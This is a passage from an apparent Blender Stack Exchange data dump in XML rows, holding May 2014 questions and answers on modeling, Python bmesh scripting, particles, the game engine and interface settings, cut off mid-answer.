  <row Id="10804" PostTypeId="2" ParentId="10801" CreationDate="2014-05-29T19:03:36.963" Score="1" Body="&lt;p&gt;The &lt;em&gt;Import&lt;/em&gt; is for other file formats, you're looking for &lt;em&gt;Link&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;O&lt;/kbd&gt; or &lt;em&gt;Append&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;F1&lt;/kbd&gt; both are accessible from the file menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While &lt;em&gt;Append&lt;/em&gt; creates an independent copy of your appended objects, &lt;em&gt;Link&lt;/em&gt; just references them from the original file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you char consist of more than a single object, you should group &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; them, this makes it easier to &lt;em&gt;Append&lt;/em&gt; or &lt;em&gt;Link&lt;/em&gt;. &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-29T19:03:36.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10805" PostTypeId="1" CreationDate="2014-05-29T20:04:23.980" Score="1" ViewCount="848" Body="&lt;p&gt;I want to duplicate a selected edge and translate it to another location, based on the normal direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bSUXW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bSUXW.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://shshop.da.to/tmp/Edge%20Normal%20Vector%20move.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;shshop.da.to&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;import math&#xA;&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;eg = me.edges[2]&#xA;&#xA;nor1x = me.vertices[eg.key[0]].normal.x&#xA;nor1y = me.vertices[eg.key[0]].normal.y&#xA;nor1z = me.vertices[eg.key[0]].normal.z&#xA;&#xA;nor2x = me.vertices[eg.key[1]].normal.x&#xA;nor2y = me.vertices[eg.key[1]].normal.y&#xA;nor2z = me.vertices[eg.key[1]].normal.z &#xA;&#xA;x = nor1x + nor2x&#xA;y = nor1y + nor2y&#xA;z = nor1z + nor2z&#xA;&#xA;norSum = mathutils.Vector((x,y,z)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3670" LastEditorUserId="32220" LastEditDate="2019-03-10T11:27:49.820" LastActivityDate="2019-03-10T11:27:49.820" Title="How to duplicate and move a selected edge in normal direction?" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10806" PostTypeId="2" ParentId="10802" CreationDate="2014-05-29T21:12:06.010" Score="2" Body="&lt;p&gt;According to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Metas/Editing#Object_Families&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; the family of a meta is defined by its name. Since the names of objects in Blender are automatically generated when duplicating them I don't think it is possible to copy metas into a new family.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might however be a workaround for what you are trying to do: Select all your metas and copy them to a buffer by pressing [Ctrl+C]. Then convert the metas to a mesh. If you now press [Ctrl+V] the previous metas will be pasted from the buffer and you have your mesh and your metas.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-29T21:12:06.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10807" PostTypeId="2" ParentId="10800" CreationDate="2014-05-29T21:27:49.247" Score="1" Body="&lt;p&gt;The compiler the error message talks about is the gcc C compiler. Nvidia's nvcc compiler (which comiles the cuda code) does not work with gcc-4.8. I think the version you need is gcc-4.6.&lt;br&gt;&#xA;I had the same problem. I had to install gcc 4.6 and then set the link &lt;code&gt;gcc&lt;/code&gt; to gcc-4.6. It is normally set to the newest version of the compiler (gcc-4.8 in your case). There is also an &lt;a href=&quot;https://askubuntu.com/questions/380609/anyone-has-successfully-installed-cuda-5-5-on-ubuntu-13-10-64-bit&quot;&gt;answer that could help you&lt;/a&gt; on Ask Ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as @gandalf3 mentioned in the comments to your question, this will not help you with using cycles. The compute capability of your card is just too low. It does not support certain features that cycles needs.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:02.757" LastActivityDate="2014-05-29T21:27:49.247" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10808" PostTypeId="2" ParentId="3254" CreationDate="2014-05-30T00:56:36.840" Score="0" Body="&lt;p&gt;Im not sure this is what you need, there is an addon (space_view3d_moveUV.py) by kgeogeo to adjust the UV coordinates from the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=dHN6_laY6JE&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=dHN6_laY6JE&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;download:&#xA;&lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=282863&amp;amp;d=1389707684&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/attachment.php?attachmentid=282863&amp;amp;d=1389707684&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the blenderartists thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?256424-ADDON-Move-the-UV-from-the-3D-view&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?256424-ADDON-Move-the-UV-from-the-3D-view&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-05-30T00:56:36.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10809" PostTypeId="2" ParentId="1167" CreationDate="2014-05-30T03:21:48.140" Score="1" Body="&lt;p&gt;The closest thing to a precomp in blender's compositor is a node group. selected nodes that you wish to precompose then pres &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt;. Hit &lt;kbd&gt;Tab&lt;/kbd&gt; to enter/exit the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Not all input and output nodes can be grouped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for more on masking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mf3Qi.png&quot; alt=&quot;Basic Node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="696" LastEditDate="2014-05-30T03:59:28.280" LastActivityDate="2014-05-30T03:59:28.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10810" PostTypeId="2" ParentId="10737" CreationDate="2014-05-30T03:48:18.253" Score="1" Body="&lt;p&gt;This works like a dream. ridiculously simple too. the normal node can be found under vector in the add node menu(shift-a).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Nhnz0.png&quot; alt=&quot;Magic Nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-05-30T03:48:18.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10811" PostTypeId="1" AcceptedAnswerId="10816" CreationDate="2014-05-30T06:20:44.223" Score="1" ViewCount="1575" Body="&lt;p&gt;I've got a game engine with working movement, camera controls, etc. I've added a model and parented it to a moving cube and it worked fine. Then i felt it was time to add some animation to the model. I made some working animations (running) and the animation itself works fine on the 3d screen when i play the timeline. It is saved as an action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I select the armature itself, then open game logic. From there I set the controls up in this order.&#xA;Keyboard as Sensor with W key as toggle ---&gt; and ----&gt; action &quot;Player Walk&quot; attached to &quot;player walk&quot; action animation. Set to start on frame 1 and end on frame 25 of the particular animation. Also set to -LoopStop-, blendin at 5, continue is checkboxed, priority is zero however i've set it at seperate values and no difference was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go to play the game and the model that is parented to the moving cube works fine but the animation doesn't show. Even though the animation works perfectly on timeline. I've followed many tutorials to the best of my ability but I can't seem to make it work, not even when the sensor is set to always. Any help would be appreciated, I'm willing to attach a video if necessary.&lt;/p&gt;&#xA;" OwnerUserId="3673" LastEditorUserId="2217" LastEditDate="2014-07-29T14:12:10.347" LastActivityDate="2014-12-27T13:07:51.673" Title="Issue connecting animation to character in Blender Game Engine" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10812" PostTypeId="1" AcceptedAnswerId="10814" CreationDate="2014-05-30T06:55:10.057" Score="3" ViewCount="2410" Body="&lt;p&gt;I am making a sword and require some help. Until now I have made swords in blender by making two meshes, one is the blade and handle the other is the guard. Now today I am wondering if I can make the sword one mesh and if its possible to curve part of the mesh, the guard, with out affecting the rest of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hh5DG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hh5DG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3674" LastEditorUserId="599" LastEditDate="2014-05-30T07:38:51.763" LastActivityDate="2014-05-30T07:38:51.763" Title="How to curve only part of an object?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10814" PostTypeId="2" ParentId="10812" CreationDate="2014-05-30T07:36:03.747" Score="4" Body="&lt;p&gt;One way to approach this is with proportional editing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;O&lt;/kbd&gt; to enable it (or select &lt;em&gt;Enabled&lt;/em&gt; from the drop down in the header)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the tip of the guard and press &lt;kbd&gt;G&lt;/kbd&gt;. Then use the mouse wheel to adjust radius as you translate the tip.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5JMhB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-30T07:36:03.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10816" PostTypeId="2" ParentId="10811" CreationDate="2014-05-30T08:01:07.093" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators/Action&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Action actuator is only visible when an armature is selected,&#xA;  because actions are stored in the armature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But this seems to be no longer true you can add the &lt;em&gt;Action actuator&lt;/em&gt; to all objects this might cause the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try a setup like that (On your armature) with your start and end frame 1..25, Loop Stop (which actually means Loop Start -Play ipo continuously from start to end when a TRUE pulse is received.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hy2uZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-30T08:01:07.093" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10817" PostTypeId="2" ParentId="10805" CreationDate="2014-05-30T08:13:41.647" Score="3" Body="&lt;p&gt;There are several normal directions, not sure what you actually desire. In your figure, it looks as if you want to translate to the average vertex normal direction, but only in 2D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a 3D example using the bmesh module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;active_edge = None&#xA;for elem in reversed(bm.select_history):&#xA;    if isinstance(elem, bmesh.types.BMEdge):&#xA;        active_edge = elem&#xA;        break&#xA;else:&#xA;    raise Exception(&quot;No active edge!&quot;)&#xA;&#xA;v1, v2 = active_edge.verts&#xA;#co1 = v1.co + v1.normal&#xA;#co2 = v2.co + v2.normal&#xA;n = (v1.normal + v2.normal) * 0.5&#xA;co1 = v1.co + n&#xA;co2 = v2.co + n&#xA;&#xA;ret = bmesh.ops.duplicate(bm, geom=[active_edge])&#xA;new_verts = [elem for elem in ret['geom'] if isinstance(elem, bmesh.types.BMVert)]&#xA;&#xA;# Order???&#xA;new_verts[0].co = co1&#xA;new_verts[1].co = co2&#xA;&#xA;bmesh.update_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-30T08:13:41.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10818" PostTypeId="1" AcceptedAnswerId="10833" CreationDate="2014-05-30T09:07:58.793" Score="4" ViewCount="2539" Body="&lt;p&gt;I tried to comb hair particles in particle edit mode, but the hair didn't show up after rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is before I combed the hair and the render result I got.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZrTnB.jpg&quot; alt=&quot;before I combed the hair&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this was what I got after I combed in particle edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ycXh9.jpg&quot; alt=&quot;after I combed in particle edit&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's my &lt;a href=&quot;http://www.pasteall.org/blend/29523&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be very appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3675" LastEditorUserId="22990" LastEditDate="2016-06-04T09:16:54.807" LastActivityDate="2016-11-19T05:06:29.773" Title="Cycles hair particles disappear after I comb the hair?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;particles&gt;&lt;hair&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10819" PostTypeId="1" AcceptedAnswerId="10820" CreationDate="2014-05-30T09:30:37.160" Score="16" ViewCount="8488" Body="&lt;p&gt;On my PC when I open Blender I always need to manually press maximize button on the window. Is this just something on my PC or is this how Blender starts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do so that it's always open maximized?&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="599" LastEditDate="2014-05-30T09:36:53.430" LastActivityDate="2021-05-12T16:20:00.783" Title="Open Blender maximized by default" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10820" PostTypeId="2" ParentId="10819" CreationDate="2014-05-30T09:34:47.843" Score="33" Body="&lt;p&gt;It's controlled based on the window when you save your startup .blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it default to maximized:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Maximize the window.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Save Startup file&lt;/em&gt;, or File Menu -&gt; Save startup file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that if you make &lt;strong&gt;any&lt;/strong&gt;  other changes (not including the splash screen), they will be saved as defaults as well.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-31T09:36:39.053" LastActivityDate="2014-05-31T09:36:39.053" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10821" PostTypeId="1" CreationDate="2014-05-30T11:14:50.947" Score="0" ViewCount="908" Body="&lt;p&gt;Is there any place where I can download surroundings of a game as a 3d model or maybe there re some inspired artists where they put them for download. I'm trying to find rooms from Wall-e. Some rooms, or outside surroundings or some interior surroundings. Where can I find things like that?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="29" LastEditDate="2014-05-30T14:31:05.703" LastActivityDate="2015-06-09T08:59:35.367" Title="Where can game assets for Blender be downloaded?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-05-31T07:52:11.363" CommunityOwnedDate="2014-05-30T14:16:56.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="10822" PostTypeId="1" AcceptedAnswerId="10824" CreationDate="2014-05-30T12:45:33.580" Score="3" ViewCount="8386" Body="&lt;p&gt;I want to duplicate particle system(shift D), and make different Render objects. But after i change Object, it makes the same change in both particle systems ( original and duplicated). Somehow it's still linked.. ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0pP9c.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-12T11:24:24.973" Title="Duplicate particle system (not linked)" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10823" PostTypeId="1" CreationDate="2014-05-30T13:18:32.080" Score="3" ViewCount="110" Body="&lt;p&gt;I'm approaching the blender video editor and I'm wondering if there are built-in functions/available (python) scripts to automate the operation of cutting/assembling  subscenes/clips indexed in a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, suppose my director gives me an AVI movie and a file containing a list of times &lt;code&gt;t_1_in&lt;/code&gt;, &lt;code&gt;t_1_fin&lt;/code&gt;, &lt;code&gt;t_2_in&lt;/code&gt;, &lt;code&gt;t_2_fin&lt;/code&gt;, ... delimiting the subscenes/clips to be cut and assembled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in Blender to automate the cutting and selection of the clips defined by the &lt;code&gt;t_i&lt;/code&gt;'s in a file (say &lt;code&gt;.dat&lt;/code&gt;) and their assembly in a continuos sequence? &lt;/p&gt;&#xA;" OwnerUserId="3677" LastEditorUserId="1363" LastEditDate="2014-06-01T13:32:20.127" LastActivityDate="2014-06-01T13:32:20.127" Title="How to automate selection and assembly of clips defined in an input file with builtin functions or (python) scripts" Tags="&lt;python&gt;&lt;scripting&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10824" PostTypeId="2" ParentId="10822" CreationDate="2014-05-30T13:35:06.693" Score="8" Body="&lt;p&gt;I think i found solution. It's enough to click on this icon near Particle Settings, and it makes particle different from others.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lqLhM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-30T13:35:06.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10827" PostTypeId="2" ParentId="10821" CreationDate="2014-05-30T14:13:16.460" Score="2" Body="&lt;p&gt;You can find lots of downloadable assets at &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendswap.com/blends&quot; rel=&quot;nofollow&quot;&gt;Blendswap&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tf3dm.com/&quot; rel=&quot;nofollow&quot;&gt;TF3DM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.yobi3d.com/&quot; rel=&quot;nofollow&quot;&gt;Yobi3D&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="14876" LastEditDate="2015-06-09T08:59:35.367" LastActivityDate="2015-06-09T08:59:35.367" CommentCount="0" CommunityOwnedDate="2014-05-30T14:13:16.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="10828" PostTypeId="1" CreationDate="2014-05-30T16:19:14.180" Score="6" ViewCount="826" Body="&lt;p&gt;This question follows from &lt;a href=&quot;https://blender.stackexchange.com/questions/10786/constructing-and-bevelling-a-pie-slice&quot;&gt;Constructing and bevelling a pie-slice&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to bring definition to the top edge of a solid geometric object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm trying to achieve something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KsDTY.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;... The important thing is that the edge is clearly defined, rather than exactly how it looks. So I'm interested in any technique for doing this. I'm focusing on this one because it's the only one I currently know how to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I go into edit mode, edge-select, CTRL+RightClick to select an edgeloop, and create a vertex group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8FGtb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I attempt to apply wireframe modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ih4kE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it doesn't work. &#xA;However, if I try the same technique on a cube, it does work. (I've included the cube in the picture, although it isn't the best screenshot, sorry about that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get this effect working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is there any other technique to bring the edges out? Could I somehow extrude a square/hexagon through that entire edge loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone on IRC suggested bézier + Bevel-object. I like the sound of this, but would I have to first create the curve, and then independently create an object for the border using bevel object, and then create the actual solid object by extruding the curve downwards?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-05-31T13:35:31.110" Title="Embossing an edge-loop" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10830" PostTypeId="2" ParentId="10503" CreationDate="2014-05-30T17:23:21.527" Score="1" Body="&lt;p&gt;Blender currently supports only &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.60/Python&quot; rel=&quot;nofollow noreferrer&quot;&gt;callbacks&lt;/a&gt; for these events:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;frame_change_pre, frame_change_post&lt;/li&gt;&#xA;&lt;li&gt;render_pre, render_post&lt;/li&gt;&#xA;&lt;li&gt;render_stats&lt;/li&gt;&#xA;&lt;li&gt;load_pre, load_post&lt;/li&gt;&#xA;&lt;li&gt;save_pre, save_post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The simplest thing you could do is invoke the appropriate bake operator by a script (the python call is displayed when the mouse pointer is over the back button).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a python script e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.fluid.bake()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add the code to play a sound from &lt;a href=&quot;https://blender.stackexchange.com/questions/5644/how-to-play-a-sound-after-script-finishes/5645#5645&quot;&gt;How to play a sound after script finishes?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-05-30T17:23:21.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10831" PostTypeId="1" AcceptedAnswerId="10840" CreationDate="2014-05-30T17:48:19.773" Score="8" ViewCount="1360" Body="&lt;p&gt;I tried to set the ocean as passive rigid body (collision mesh) and a boat as active rigid body. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The boat falls through the ocean. Which technique is recommended for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally the boat would follow a curve and the physic simulation would calculate the orientation and level (z-axis).&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-31T08:48:18.177" Title="How can an animated object kept on the surface of an ocean?" Tags="&lt;animation&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10833" PostTypeId="2" ParentId="10818" CreationDate="2014-05-30T19:01:42.610" Score="4" Body="&lt;p&gt;Particles will not render in particle edit mode, &lt;a href=&quot;https://developer.blender.org/T40441?#5&quot; rel=&quot;nofollow&quot;&gt;due to a limitation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is intentional, it's a limitation in the particle system code that both Blender Internal and Cycles suffer from. Not considered a bug at the moment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So make sure you are not in particle edit mode when rendering.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In case you are wondering what the suffering is about, blender's particle code is known to be inefficient and filled with issues. (I can't seem to find any sources for this, but I know I read it somewhere..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;https://developer.blender.org/T32340&quot; rel=&quot;nofollow&quot;&gt;&quot;looking into&quot; is being talked about as part of the Gooseberry project&lt;/a&gt;, and a &lt;a href=&quot;http://phonybone.planetblender.org/&quot; rel=&quot;nofollow&quot;&gt;rewrite&lt;/a&gt; (with nodes support!) is also being worked on.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-30T19:01:42.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10834" PostTypeId="1" AcceptedAnswerId="10835" CreationDate="2014-05-30T19:19:03.203" Score="5" ViewCount="7036" Body="&lt;p&gt;I have a plane, as you can see below, that I would like to be the floor of a building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I quickly create walls from all of the edges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WpUm.png&quot; alt=&quot;My plane&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3682" LastEditorUserId="1363" LastEditDate="2014-05-30T20:27:13.160" LastActivityDate="2014-05-30T20:27:13.160" Title="Create walls from a plane?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10835" PostTypeId="2" ParentId="10834" CreationDate="2014-05-30T19:23:00.663" Score="5" Body="&lt;p&gt;In edge select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&amp;gt;Edge&lt;/em&gt;), select all the outer edges and press &lt;kbd&gt;E&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to extrude along the Z axis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YRBrv.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the above gif I used &lt;a href=&quot;https://blender.stackexchange.com/q/10735/599&quot;&gt;the new boundary edge selection tool&lt;/a&gt;, which is currently only available in the &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;latest development builds&lt;/a&gt; (it will be in 2.71).&lt;/p&gt;&#xA;&lt;p&gt;If you are using an older version, you can select the boundary edges like so:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all 